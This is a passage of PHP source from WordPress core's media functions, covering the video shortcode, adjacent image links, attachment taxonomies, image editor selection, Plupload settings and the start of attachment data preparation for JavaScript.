 *     @type string $muted    The 'muted' attribute for the `<video>` element. Default false.
 *     @type string $preload  The 'preload' attribute for the `<video>` element.
 *                            Default 'metadata'.
 *     @type string $class    The 'class' attribute for the `<video>` element.
 *                            Default 'wp-video-shortcode'.
 * }
 * @param string $content Shortcode content.
 * @return string|void HTML content to display video.
 */
function wp_video_shortcode( $attr, $content = '' ) {
	global $content_width;
	$post_id = get_post() ? get_the_ID() : 0;

	static $instance = 0;
	++$instance;

	/**
	 * Filters the default video shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default video template.
	 *
	 * @since 3.6.0
	 *
	 * @see wp_video_shortcode()
	 *
	 * @param string $html     Empty variable to be replaced with shortcode markup.
	 * @param array  $attr     Attributes of the shortcode. See {@see wp_video_shortcode()}.
	 * @param string $content  Video shortcode content.
	 * @param int    $instance Unique numeric ID of this video shortcode instance.
	 */
	$override = apply_filters( 'wp_video_shortcode_override', '', $attr, $content, $instance );

	if ( '' !== $override ) {
		return $override;
	}

	$video = null;

	$default_types = wp_get_video_extensions();
	$defaults_atts = array(
		'src'      => '',
		'poster'   => '',
		'loop'     => '',
		'autoplay' => '',
		'muted'    => 'false',
		'preload'  => 'metadata',
		'width'    => 640,
		'height'   => 360,
		'class'    => 'wp-video-shortcode',
	);

	foreach ( $default_types as $type ) {
		$defaults_atts[ $type ] = '';
	}

	$atts = shortcode_atts( $defaults_atts, $attr, 'video' );

	if ( is_admin() ) {
		// Shrink the video so it isn't huge in the admin.
		if ( $atts['width'] > $defaults_atts['width'] ) {
			$atts['height'] = round( ( $atts['height'] * $defaults_atts['width'] ) / $atts['width'] );
			$atts['width']  = $defaults_atts['width'];
		}
	} else {
		// If the video is bigger than the theme.
		if ( ! empty( $content_width ) && $atts['width'] > $content_width ) {
			$atts['height'] = round( ( $atts['height'] * $content_width ) / $atts['width'] );
			$atts['width']  = $content_width;
		}
	}

	$is_vimeo      = false;
	$is_youtube    = false;
	$yt_pattern    = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
	$vimeo_pattern = '#^https?://(.+\.)?vimeo\.com/.*#';

	$primary = false;
	if ( ! empty( $atts['src'] ) ) {
		$is_vimeo   = ( preg_match( $vimeo_pattern, $atts['src'] ) );
		$is_youtube = ( preg_match( $yt_pattern, $atts['src'] ) );

		if ( ! $is_youtube && ! $is_vimeo ) {
			$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );

			if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) {
				return sprintf( '<a class="wp-embedded-video" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
			}
		}

		if ( $is_vimeo ) {
			wp_enqueue_script( 'mediaelement-vimeo' );
		}

		$primary = true;
		array_unshift( $default_types, 'src' );
	} else {
		foreach ( $default_types as $ext ) {
			if ( ! empty( $atts[ $ext ] ) ) {
				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
				if ( strtolower( $type['ext'] ) === $ext ) {
					$primary = true;
				}
			}
		}
	}

	if ( ! $primary ) {
		$videos = get_attached_media( 'video', $post_id );
		if ( empty( $videos ) ) {
			return;
		}

		$video       = reset( $videos );
		$atts['src'] = wp_get_attachment_url( $video->ID );
		if ( empty( $atts['src'] ) ) {
			return;
		}

		array_unshift( $default_types, 'src' );
	}

	/**
	 * Filters the media library used for the video shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $library Media library used for the video shortcode.
	 */
	$library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' );
	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
		wp_enqueue_script( 'mediaelement-vimeo' );
	}

	/*
	 * MediaElement.js has issues with some URL formats for Vimeo and YouTube,
	 * so update the URL to prevent the ME.js player from breaking.
	 */
	if ( 'mediaelement' === $library ) {
		if ( $is_youtube ) {
			// Remove `feature` query arg and force SSL - see #40866.
			$atts['src'] = remove_query_arg( 'feature', $atts['src'] );
			$atts['src'] = set_url_scheme( $atts['src'], 'https' );
		} elseif ( $is_vimeo ) {
			// Remove all query arguments and force SSL - see #40866.
			$parsed_vimeo_url = wp_parse_url( $atts['src'] );
			$vimeo_src        = 'https://' . $parsed_vimeo_url['host'] . $parsed_vimeo_url['path'];

			// Add loop param for mejs bug - see #40977, not needed after #39686.
			$loop        = $atts['loop'] ? '1' : '0';
			$atts['src'] = add_query_arg( 'loop', $loop, $vimeo_src );
		}
	}

	/**
	 * Filters the class attribute for the video shortcode output container.
	 *
	 * @since 3.6.0
	 * @since 4.9.0 The `$atts` parameter was added.
	 *
	 * @param string $class CSS class or list of space-separated classes.
	 * @param array  $atts  Array of video shortcode attributes.
	 */
	$atts['class'] = apply_filters( 'wp_video_shortcode_class', $atts['class'], $atts );

	$html_atts = array(
		'class'    => $atts['class'],
		'id'       => sprintf( 'video-%d-%d', $post_id, $instance ),
		'width'    => absint( $atts['width'] ),
		'height'   => absint( $atts['height'] ),
		'poster'   => esc_url( $atts['poster'] ),
		'loop'     => wp_validate_boolean( $atts['loop'] ),
		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
		'muted'    => wp_validate_boolean( $atts['muted'] ),
		'preload'  => $atts['preload'],
	);

	// These ones should just be omitted altogether if they are blank.
	foreach ( array( 'poster', 'loop', 'autoplay', 'preload', 'muted' ) as $a ) {
		if ( empty( $html_atts[ $a ] ) ) {
			unset( $html_atts[ $a ] );
		}
	}

	$attr_strings = array();
	foreach ( $html_atts as $attribute_name => $attribute_value ) {
		if ( in_array( $attribute_name, array( 'loop', 'autoplay', 'muted' ), true ) && true === $attribute_value ) {
			// Add boolean attributes without their value for true.
			$attr_strings[] = esc_attr( $attribute_name );
		} elseif ( 'preload' === $attribute_name && ! empty( $attribute_value ) ) {
			// Handle the preload attribute with specific allowed values.
			$allowed_preload_values = array( 'none', 'metadata', 'auto' );
			if ( in_array( $attribute_value, $allowed_preload_values, true ) ) {
				$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
			}
		} elseif ( ! empty( $attribute_value ) ) {
			// For non-boolean attributes, add them with their value.
			$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
		}
	}

	$html    = sprintf( '<video %s controls="controls">', implode( ' ', $attr_strings ) );
	$fileurl = '';
	$source  = '<source type="%s" src="%s" />';

	foreach ( $default_types as $fallback ) {
		if ( ! empty( $atts[ $fallback ] ) ) {
			if ( empty( $fileurl ) ) {
				$fileurl = $atts[ $fallback ];
			}
			if ( 'src' === $fallback && $is_youtube ) {
				$type = array( 'type' => 'video/youtube' );
			} elseif ( 'src' === $fallback && $is_vimeo ) {
				$type = array( 'type' => 'video/vimeo' );
			} else {
				$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
			}
			$url   = add_query_arg( '_', $instance, $atts[ $fallback ] );
			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
		}
	}

	if ( ! empty( $content ) ) {
		if ( str_contains( $content, "\n" ) ) {
			$content = str_replace( array( "\r\n", "\n", "\t" ), '', $content );
		}
		$html .= trim( $content );
	}

	if ( 'mediaelement' === $library ) {
		$html .= wp_mediaelement_fallback( $fileurl );
	}
	$html .= '</video>';

	$width_rule = '';
	if ( ! empty( $atts['width'] ) ) {
		$width_rule = sprintf( 'width: %dpx;', $atts['width'] );
	}
	$output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html );

	/**
	 * Filters the output of the video shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $output  Video shortcode HTML output.
	 * @param array  $atts    Array of video shortcode attributes.
	 * @param string $video   Video file.
	 * @param int    $post_id Post ID.
	 * @param string $library Media library used for the video shortcode.
	 */
	return apply_filters( 'wp_video_shortcode', $output, $atts, $video, $post_id, $library );
}
add_shortcode( 'video', 'wp_video_shortcode' );

/**
 * Gets the previous image link that has the same post parent.
 *
 * @since 5.8.0
 *
 * @see get_adjacent_image_link()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 * @return string Markup for previous image link.
 */
function get_previous_image_link( $size = 'thumbnail', $text = false ) {
	return get_adjacent_image_link( true, $size, $text );
}

/**
 * Displays previous image link that has the same post parent.
 *
 * @since 2.5.0
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 */
function previous_image_link( $size = 'thumbnail', $text = false ) {
	echo get_previous_image_link( $size, $text );
}

/**
 * Gets the next image link that has the same post parent.
 *
 * @since 5.8.0
 *
 * @see get_adjacent_image_link()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 * @return string Markup for next image link.
 */
function get_next_image_link( $size = 'thumbnail', $text = false ) {
	return get_adjacent_image_link( false, $size, $text );
}

/**
 * Displays next image link that has the same post parent.
 *
 * @since 2.5.0
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 */
function next_image_link( $size = 'thumbnail', $text = false ) {
	echo get_next_image_link( $size, $text );
}

/**
 * Gets the next or previous image link that has the same post parent.
 *
 * Retrieves the current attachment object from the $post global.
 *
 * @since 5.8.0
 *
 * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $text Optional. Link text. Default false.
 * @return string Markup for image link.
 */
function get_adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
	$post        = get_post();
	$attachments = array_values(
		get_children(
			array(
				'post_parent'    => $post->post_parent,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => 'ASC',
				'orderby'        => 'menu_order ID',
			)
		)
	);

	foreach ( $attachments as $k => $attachment ) {
		if ( (int) $attachment->ID === (int) $post->ID ) {
			break;
		}
	}

	$output        = '';
	$attachment_id = 0;

	if ( $attachments ) {
		$k = $prev ? $k - 1 : $k + 1;

		if ( isset( $attachments[ $k ] ) ) {
			$attachment_id = $attachments[ $k ]->ID;
			$attr          = array( 'alt' => get_the_title( $attachment_id ) );
			$output        = wp_get_attachment_link( $attachment_id, $size, true, false, $text, $attr );
		}
	}

	$adjacent = $prev ? 'previous' : 'next';

	/**
	 * Filters the adjacent image link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type of adjacency,
	 * either 'next', or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_image_link`
	 *  - `previous_image_link`
	 *
	 * @since 3.5.0
	 *
	 * @param string $output        Adjacent image HTML markup.
	 * @param int    $attachment_id Attachment ID
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param string $text          Link text.
	 */
	return apply_filters( "{$adjacent}_image_link", $output, $attachment_id, $size, $text );
}

/**
 * Displays next or previous image link that has the same post parent.
 *
 * Retrieves the current attachment object from the $post global.
 *
 * @since 2.5.0
 *
 * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $text Optional. Link text. Default false.
 */
function adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
	echo get_adjacent_image_link( $prev, $size, $text );
}

/**
 * Retrieves taxonomies attached to given the attachment.
 *
 * @since 2.5.0
 * @since 4.7.0 Introduced the `$output` parameter.
 *
 * @param int|array|object $attachment Attachment ID, data array, or data object.
 * @param string           $output     Output type. 'names' to return an array of taxonomy names,
 *                                     or 'objects' to return an array of taxonomy objects.
 *                                     Default is 'names'.
 * @return string[]|WP_Taxonomy[] List of taxonomies or taxonomy names. Empty array on failure.
 */
function get_attachment_taxonomies( $attachment, $output = 'names' ) {
	if ( is_int( $attachment ) ) {
		$attachment = get_post( $attachment );
	} elseif ( is_array( $attachment ) ) {
		$attachment = (object) $attachment;
	}

	if ( ! is_object( $attachment ) ) {
		return array();
	}

	$file     = get_attached_file( $attachment->ID );
	$filename = wp_basename( $file );

	$objects = array( 'attachment' );

	if ( str_contains( $filename, '.' ) ) {
		$objects[] = 'attachment:' . substr( $filename, strrpos( $filename, '.' ) + 1 );
	}

	if ( ! empty( $attachment->post_mime_type ) ) {
		$objects[] = 'attachment:' . $attachment->post_mime_type;

		if ( str_contains( $attachment->post_mime_type, '/' ) ) {
			foreach ( explode( '/', $attachment->post_mime_type ) as $token ) {
				if ( ! empty( $token ) ) {
					$objects[] = "attachment:$token";
				}
			}
		}
	}

	$taxonomies = array();

	foreach ( $objects as $object ) {
		$taxes = get_object_taxonomies( $object, $output );

		if ( $taxes ) {
			$taxonomies = array_merge( $taxonomies, $taxes );
		}
	}

	if ( 'names' === $output ) {
		$taxonomies = array_unique( $taxonomies );
	}

	return $taxonomies;
}

/**
 * Retrieves all of the taxonomies that are registered for attachments.
 *
 * Handles mime-type-specific taxonomies such as attachment:image and attachment:video.
 *
 * @since 3.5.0
 *
 * @see get_taxonomies()
 *
 * @param string $output Optional. The type of taxonomy output to return. Accepts 'names' or 'objects'.
 *                       Default 'names'.
 * @return string[]|WP_Taxonomy[] Array of names or objects of registered taxonomies for attachments.
 */
function get_taxonomies_for_attachments( $output = 'names' ) {
	$taxonomies = array();

	foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) {
		foreach ( $taxonomy->object_type as $object_type ) {
			if ( 'attachment' === $object_type || str_starts_with( $object_type, 'attachment:' ) ) {
				if ( 'names' === $output ) {
					$taxonomies[] = $taxonomy->name;
				} else {
					$taxonomies[ $taxonomy->name ] = $taxonomy;
				}
				break;
			}
		}
	}

	return $taxonomies;
}

/**
 * Determines whether the value is an acceptable type for GD image functions.
 *
 * In PHP 8.0, the GD extension uses GdImage objects for its data structures.
 * This function checks if the passed value is either a GdImage object instance
 * or a resource of type `gd`. Any other type will return false.
 *
 * @since 5.6.0
 *
 * @param resource|GdImage|false $image A value to check the type for.
 * @return bool True if `$image` is either a GD image resource or a GdImage instance,
 *              false otherwise.
 */
function is_gd_image( $image ) {
	if ( $image instanceof GdImage
		|| is_resource( $image ) && 'gd' === get_resource_type( $image )
	) {
		return true;
	}

	return false;
}

/**
 * Creates a new GD image resource with transparency support.
 *
 * @todo Deprecate if possible.
 *
 * @since 2.9.0
 *
 * @param int $width  Image width in pixels.
 * @param int $height Image height in pixels.
 * @return resource|GdImage|false The GD image resource or GdImage instance on success.
 *                                False on failure.
 */
function wp_imagecreatetruecolor( $width, $height ) {
	$img = imagecreatetruecolor( $width, $height );

	if ( is_gd_image( $img )
		&& function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' )
	) {
		imagealphablending( $img, false );
		imagesavealpha( $img, true );
	}

	return $img;
}

/**
 * Based on a supplied width/height example, returns the biggest possible dimensions based on the max width/height.
 *
 * @since 2.9.0
 *
 * @see wp_constrain_dimensions()
 *
 * @param int $example_width  The width of an example embed.
 * @param int $example_height The height of an example embed.
 * @param int $max_width      The maximum allowed width.
 * @param int $max_height     The maximum allowed height.
 * @return int[] {
 *     An array of maximum width and height values.
 *
 *     @type int $0 The maximum width in pixels.
 *     @type int $1 The maximum height in pixels.
 * }
 */
function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) {
	$example_width  = (int) $example_width;
	$example_height = (int) $example_height;
	$max_width      = (int) $max_width;
	$max_height     = (int) $max_height;

	return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height );
}

/**
 * Determines the maximum upload size allowed in php.ini.
 *
 * @since 2.5.0
 *
 * @return int Allowed upload size.
 */
function wp_max_upload_size() {
	$u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );
	$p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );

	/**
	 * Filters the maximum upload size allowed in php.ini.
	 *
	 * @since 2.5.0
	 *
	 * @param int $size    Max upload size limit in bytes.
	 * @param int $u_bytes Maximum upload filesize in bytes.
	 * @param int $p_bytes Maximum size of POST data in bytes.
	 */
	return apply_filters( 'upload_size_limit', min( $u_bytes, $p_bytes ), $u_bytes, $p_bytes );
}

/**
 * Returns a WP_Image_Editor instance and loads file into it.
 *
 * @since 3.5.0
 *
 * @param string $path Path to the file to load.
 * @param array  $args Optional. Additional arguments for retrieving the image editor.
 *                     Default empty array.
 * @return WP_Image_Editor|WP_Error The WP_Image_Editor object on success,
 *                                  a WP_Error object otherwise.
 */
function wp_get_image_editor( $path, $args = array() ) {
	$args['path'] = $path;

	// If the mime type is not set in args, try to extract and set it from the file.
	if ( ! isset( $args['mime_type'] ) ) {
		$file_info = wp_check_filetype( $args['path'] );

		/*
		 * If $file_info['type'] is false, then we let the editor attempt to
		 * figure out the file type, rather than forcing a failure based on extension.
		 */
		if ( isset( $file_info ) && $file_info['type'] ) {
			$args['mime_type'] = $file_info['type'];
		}
	}

	// Check and set the output mime type mapped to the input type.
	if ( isset( $args['mime_type'] ) ) {
		$output_format = wp_get_image_editor_output_format( $path, $args['mime_type'] );
		if ( isset( $output_format[ $args['mime_type'] ] ) ) {
			$args['output_mime_type'] = $output_format[ $args['mime_type'] ];
		}
	}

	$implementation = _wp_image_editor_choose( $args );

	if ( $implementation ) {
		$editor = new $implementation( $path );
		$loaded = $editor->load();

		if ( is_wp_error( $loaded ) ) {
			return $loaded;
		}

		return $editor;
	}

	return new WP_Error( 'image_no_editor', __( 'No editor could be selected.' ) );
}

/**
 * Tests whether there is an editor that supports a given mime type or methods.
 *
 * @since 3.5.0
 *
 * @param string|array $args Optional. Array of arguments to retrieve the image editor supports.
 *                           Default empty array.
 * @return bool True if an eligible editor is found; false otherwise.
 */
function wp_image_editor_supports( $args = array() ) {
	return (bool) _wp_image_editor_choose( $args );
}

/**
 * Tests which editors are capable of supporting the request.
 *
 * @ignore
 * @since 3.5.0
 *
 * @param array $args Optional. Array of arguments for choosing a capable editor. Default empty array.
 * @return string|false Class name for the first editor that claims to support the request.
 *                      False if no editor claims to support the request.
 */
function _wp_image_editor_choose( $args = array() ) {
	require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
	require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
	require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
	require_once ABSPATH . WPINC . '/class-avif-info.php';
	/**
	 * Filters the list of image editing library classes.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $image_editors Array of available image editor class names. Defaults are
	 *                                'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'.
	 */
	$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );

	$editors = wp_cache_get( 'wp_image_editor_choose', 'image_editor' );

	if ( ! is_array( $editors ) ) {
		$editors = array();
	}

	// Cache the chosen editor implementation based on specific args and available implementations.
	$cache_key = md5( serialize( array( $args, $implementations ) ) );

	if ( isset( $editors[ $cache_key ] ) ) {
		return $editors[ $cache_key ];
	}

	// Assume no support until a capable implementation is identified.
	$editor = false;

	foreach ( $implementations as $implementation ) {
		if ( ! call_user_func( array( $implementation, 'test' ), $args ) ) {
			continue;
		}

		// Implementation should support the passed mime type.
		if ( isset( $args['mime_type'] ) &&
			! call_user_func(
				array( $implementation, 'supports_mime_type' ),
				$args['mime_type']
			) ) {
			continue;
		}

		// Implementation should support requested methods.
		if ( isset( $args['methods'] ) &&
			array_diff( $args['methods'], get_class_methods( $implementation ) ) ) {

			continue;
		}

		// Implementation should ideally support the output mime type as well if set and different than the passed type.
		if (
			isset( $args['mime_type'] ) &&
			isset( $args['output_mime_type'] ) &&
			$args['mime_type'] !== $args['output_mime_type'] &&
			! call_user_func( array( $implementation, 'supports_mime_type' ), $args['output_mime_type'] )
		) {
			/*
			 * This implementation supports the input type but not the output type.
			 * Keep looking to see if we can find an implementation that supports both.
			 */
			$editor = $implementation;
			continue;
		}

		// Favor the implementation that supports both input and output mime types.
		$editor = $implementation;
		break;
	}

	$editors[ $cache_key ] = $editor;

	wp_cache_set( 'wp_image_editor_choose', $editors, 'image_editor', DAY_IN_SECONDS );

	return $editor;
}

/**
 * Prints default Plupload arguments.
 *
 * @since 3.4.0
 */
function wp_plupload_default_settings() {
	$wp_scripts = wp_scripts();

	$data = $wp_scripts->get_data( 'wp-plupload', 'data' );
	if ( $data && str_contains( $data, '_wpPluploadSettings' ) ) {
		return;
	}

	$max_upload_size    = wp_max_upload_size();
	$allowed_extensions = array_keys( get_allowed_mime_types() );
	$extensions         = array();
	foreach ( $allowed_extensions as $extension ) {
		$extensions = array_merge( $extensions, explode( '|', $extension ) );
	}

	/*
	 * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	 * and the `flash_swf_url` and `silverlight_xap_url` are not used.
	 */
	$defaults = array(
		'file_data_name' => 'async-upload', // Key passed to $_FILE.
		'url'            => admin_url( 'async-upload.php', 'relative' ),
		'filters'        => array(
			'max_file_size' => $max_upload_size . 'b',
			'mime_types'    => array( array( 'extensions' => implode( ',', $extensions ) ) ),
		),
	);

	/*
	 * Currently only iOS Safari supports multiple files uploading,
	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if ( wp_is_mobile()
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' )
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' )
	) {
		$defaults['multi_selection'] = false;
	}

	// Check if WebP images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) {
		$defaults['webp_upload_error'] = true;
	}

	// Check if AVIF images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/avif' ) ) ) {
		$defaults['avif_upload_error'] = true;
	}

	// Check if HEIC images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/heic' ) ) ) {
		$defaults['heic_upload_error'] = true;
	}

	/**
	 * Filters the Plupload default settings.
	 *
	 * @since 3.4.0
	 *
	 * @param array $defaults Default Plupload settings array.
	 */
	$defaults = apply_filters( 'plupload_default_settings', $defaults );

	$params = array(
		'action' => 'upload-attachment',
	);

	/**
	 * Filters the Plupload default parameters.
	 *
	 * @since 3.4.0
	 *
	 * @param array $params Default Plupload parameters array.
	 */
	$params = apply_filters( 'plupload_default_params', $params );

	$params['_wpnonce'] = wp_create_nonce( 'media-form' );

	$defaults['multipart_params'] = $params;

	$settings = array(
		'defaults'      => $defaults,
		'browser'       => array(
			'mobile'    => wp_is_mobile(),
			'supported' => _device_can_upload(),
		),
		'limitExceeded' => is_multisite() && ! is_upload_space_available(),
	);

	$script = 'var _wpPluploadSettings = ' . wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ';';

	if ( $data ) {
		$script = "$data\n$script";
	}

	$wp_scripts->add_data( 'wp-plupload', 'data', $script );
}

/**
 * Prepares an attachment post object for JS, where it is expected
 * to be JSON-encoded and fit into an Attachment model.
 *
 * @since 3.5.0
 *
 * @param int|WP_Post $attachment Attachment ID or object.
 * @return array|void {
 *     Array of attachment details, or void if the parameter does not correspond to an attachment.
 *
 *     @type string $alt                   Alt text of the attachment.
 *     @type string $author                ID of the attachment author, as a string.
 *     @type string $authorName            Name of the attachment author.
 *     @type string $caption               Caption for the attachment.
 *     @type array  $compat                Containing item and meta.
 *     @type string $context               Context, whether it's used as the site icon for example.
 *     @type int    $date                  Uploaded date, timestamp in milliseconds.
 *     @type string $dateFormatted         Formatted date (e.g. June 29, 2018).
 *     @type string $description           Description of the attachment.
 *     @type string $editLink              URL to the edit page for the attachment.
 *     @type string $filename              File name of the attachment.
 *     @type string $filesizeHumanReadable Filesize of the attachment in human readable format (e.g. 1 MB).
 *     @type int    $filesizeInBytes       Filesize of the attachment in bytes.
 *     @type int    $height                If the attachment is an image, represents the height of the image in pixels.
 *     @type string $icon                  Icon URL of the attachment (e.g. /wp-includes/images/media/archive.png).
 *     @type int    $id                    ID of the attachment.
 *     @type string $link                  URL to the attachment.
 *     @type int    $menuOrder             Menu order of the attachment post.
 *     @type array  $meta                  Meta data for the attachment.
 *     @type string $mime                  Mime type of the attachment (e.g. image/jpeg or application/zip).
 *     @type int    $modified              Last modified, timestamp in milliseconds.
 *     @type string $name                  Name, same as title of the attachment.
 *     @type array  $nonces                Nonces for update, delete and edit.
 *     @type string $orientation           If the attachment is an image, represents the image orientation
 *                                         (landscape or portrait).
 *     @type array  $sizes                 If the attachment is an image, contains an array of arrays
 *                                         for the images sizes: thumbnail, medium, large, and full.
 *     @type string $status                Post status of the attachment (usually 'inherit').
 *     @type string $subtype               Mime subtype of the attachment (usually the last part, e.g. jpeg or zip).
 *     @type string $title                 Title of the attachment (usually slugified file name without the extension).
 *     @type string $type                  Type of the attachment (usually first part of the mime type, e.g. image).
 *     @type int    $uploadedTo            Parent post to which the attachment was uploaded.
 *     @type string $uploadedToLink        URL to the edit page of the parent post of the attachment.
 *     @type string $uploadedToTitle       Post title of the parent of the attachment.
 *     @type string $url                   Direct URL to the attachment file (from wp-content).
 *     @type int    $width                 If the attachment is an image, represents the width of the image in pixels.
 * }
 */
function wp_prepare_attachment_for_js( $attachment ) {
	$attachment = get_post( $attachment );

	if ( ! $attachment ) {
		return;
	}

	if ( 'attachment' !== $attachment->post_type ) {
		return;
	}

	$meta = wp_get_attachment_metadata( $attachment->ID );
	if ( str_contains( $attachment->post_mime_type, '/' ) ) {
		list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
	} else {
		list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
	}

	$attachment_url = wp_get_attachment_url( $attachment->ID );
	$base_url       = str_replace( wp_basename( $attachment_url ), '', $attachment_url );

	$response = array(
		'id'            => $attachment->ID,
		'title'         => $attachment->post_title,
		'filename'      => wp_basename( get_attached_file( $attachment->ID ) ),
		'url'           => $attachment_url,
		'link'          => get_attachment_link( $attachment->ID ),
		'alt'           => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
		'author'        => $attachment->post_author,
		'description'   => $attachment->post_content,
		'caption'       => $attachment->post_excerpt,
		'name'          => $attachment->post_name,
		'status'        => $attachment->post_status,
		'uploadedTo'    => $attachment->post_parent,
		'date'          => strtotime( $attachment->post_date_gmt ) * 1000,
		'modified'      => strtotime( $attachment->post_modified_gmt ) * 1000,
		'menuOrder'     => $attachment->menu_order,
		'mime'          => $attachment->post_mime_type,
		'type'          => $type,
		'subtype'       => $subtype,
		'icon'          => wp_mime_type_icon( $attachment->ID, '.svg' ),
		'dateFormatted' => mysql2date( __( 'F j, Y' ), $attachment->post_date ),
		'nonces'        => array(
			'update' => false,
			'delete' => false,
			'edit'   => false,
		),
		'editLink'      => false,
		'meta'          => false,
	);

	$author = new WP_User( $attachment->post_author );

	if ( $author->exists() ) {
		$author_name            = $author->display_name ? $author->display_name : $author->nickname;
		$response['authorName'] = html_entity_decode( $author_name, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$response['authorLink'] = get_edit_user_link( $author->ID );
	} else {
		$response['authorName'] = __( '(no author)' );
	}

	if ( $attachment->post_parent ) {
		$post_parent = get_post( $attachment->post_parent );
		if ( $post_parent && current_user_can( 'read_post', $attachment->post_parent ) ) {
			$response['uploadedToTitle'] = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
			$response['uploadedToLink']  = get_edit_post_link( $attachment->post_parent, 'raw' );
		}
	}

	$attached_file = get_attached_file( $attachment->ID );

	if ( isset( $meta['filesize'] ) ) {
		$bytes = $meta['filesize'];
	} elseif ( file_exists( $attached_file ) ) {
		$bytes = wp_filesize( $attached_file );
	} else {
		$bytes = '';
	}

	if ( $bytes ) {
		$response['filesizeInBytes']       = $bytes;
		$response['filesizeHumanReadable'] = size_format( $bytes );
	}

	$context             = get_post_meta( $attachment->ID, '_wp_attachment_context', true );
	$response['context'] = ( $context ) ? $context : '';

	if ( current_user_can( 'edit_post', $attachment->ID ) ) {
		$response['nonces']['update'] = wp_create_nonce( 'update-post_' . $attachment->ID );
		$response['nonces']['edit']   = wp_create_nonce( 'image_editor-' . $attachment->ID );
		$response['editLink']         = get_edit_post_link( $attachment->ID, 'raw' );
	}

	if ( current_user_can( 'delete_post', $attachment->ID ) ) {
		$response['nonces']['delete'] = wp_create_nonce( 'delete-post_' . $attachment->ID );
	}

	if ( $meta && ( 'image' === $type || ! empty( $meta['sizes'] ) ) ) {
		$sizes = array();

		/** This filter is documented in wp-admin/includes/media.php */
		$possible_sizes = apply_filters(
			'image_size_names_choose',
			array(
				'thumbnail' => __( 'Thumbnail' ),
				'medium'    => __( 'Medium' ),
				'large'     => __( 'Large' ),
				'full'      => __( 'Full Size' ),
			)
		);
		unset( $possible_sizes['full'] );

		/*
		 * Loop through all potential sizes that may be chosen. Try to do this with some efficiency.
		 * First: run the image_downsize filter. If it returns something, we can use its data.
		 * If the filter does not return something, then image_downsize() is just an expensive way
		 * to check the image metadata, which we do second.
		 */
		foreach ( $possible_sizes as $size => $label ) {

			/** This filter is documented in wp-includes/media.php */
			$downsize = apply_filters( 'image_downsize', false, $attachment->ID, $size );

			if ( $downsize ) {
				if ( empty( $downsize[3] ) ) {
					continue;
				}

				$sizes[ $size ] = array(
